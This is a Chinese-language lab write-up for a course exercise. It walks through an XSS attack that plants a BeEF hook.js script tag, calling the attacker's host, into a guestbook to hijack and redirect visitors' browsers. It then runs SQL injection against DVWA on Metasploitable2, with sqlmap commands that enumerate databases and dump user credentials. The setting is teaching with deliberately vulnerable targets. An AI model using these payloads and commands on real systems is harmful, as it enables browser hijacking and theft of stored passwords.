实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
系统环境:Kali Linux 2、Windows?Server
网络环境:交换网络结构
实验工具:?Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
?
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
kali和靶机都采用桥接模式。然后让kali和受害者连接同一个手机热点!!
1.将文件复制到中搭建留言簿网站的虚拟机中(Windows 为例),配置网站:
2、?Kali使用beef生成恶意代码
自动跳转:
3.打开本地服务器,即打开网站http://127.0.0.1/message.asp,到留言簿网站将恶意代码
<script src="http://Kali的IP地址:3000/hook.js"></script>
放入留言中:
?
可登录login.html输入账号密码为admin,进入管理员观看审核别人留言:(可弄可不弄)
4.当别人连接你的留言簿网站(http://搭建网站的虚拟机ip/message.asp)时,kali中的beef网站会显示Online Browsers中别人的ip:
?
在Current Browser项选择command?然后选Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,即可控制对方浏览器跳转到目标网址
?
实验环境搭建。启动Metasploitable2虚拟机。
打开Metasploitable2虚拟机,输入账号密码为msfadmin登录后再输入ip a,查看分配的ip(虚拟机桥接模式下):
将ip地址输入到kali的火狐中,可进入dvwa。
进入后页面如下:
1、注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1,返回
ID: 1
First name: admin
Surname: admin
再次输入1',报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
此时可以断定有SQL注入漏洞,
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低
打开kali中的自带的sqlmap,进行攻击
2、枚举当前使用的数据库名称和用户名。
输入命令:(一路Y,并等待即可)
sqlmap -u"http://Metasploitable2虚拟机的ip/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#"(前面一段即为dvwa网页的url,复制即可) --cookie='security=low; PHPSESSID=356e26c24f2a64655c4bef4d598ddc76(这个是从网页中按F12得到,如下图)' -b --current-db --current-user
?
枚举所有数据库:
sqlmap -u "http://192.168.1.102/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=47f52df277c2efb39b34bb49b90c9635" --string="Surname" --users --password
3.枚举当前数据库
?
sqlmap -u "http://192.168.1.102/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=47f52df277c2efb39b34bb49b90c9635" --string="Surname" --dbs
4.枚举指定数据库的数据表
-D 数据库名:指定数据库
--tables:枚举指定数据库的所有表
sqlmap -u "http://192.168.1.102/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=47f52df277c2efb39b34bb49b90c9635" --string="Surname" -D dvwa --tables
5.获取指定数据库和表中所有列的信息
-D:指定的数据库
-T:指定数据库中的数据表
sqlmap -u "http://192.168.1.102/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=47f52df277c2efb39b34bb49b90c9635" --string="Surname" -D dvwa -T users --columns
6.枚举指定数据表中的所有用户名与密码,并down到本地
-C:枚举数据表中的列
--dump:存储数据表项
sqlmap -u "http://192.168.1.102/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=47f52df277c2efb39b34bb49b90c9635" -D dvwa -T users -C user,password --dump
?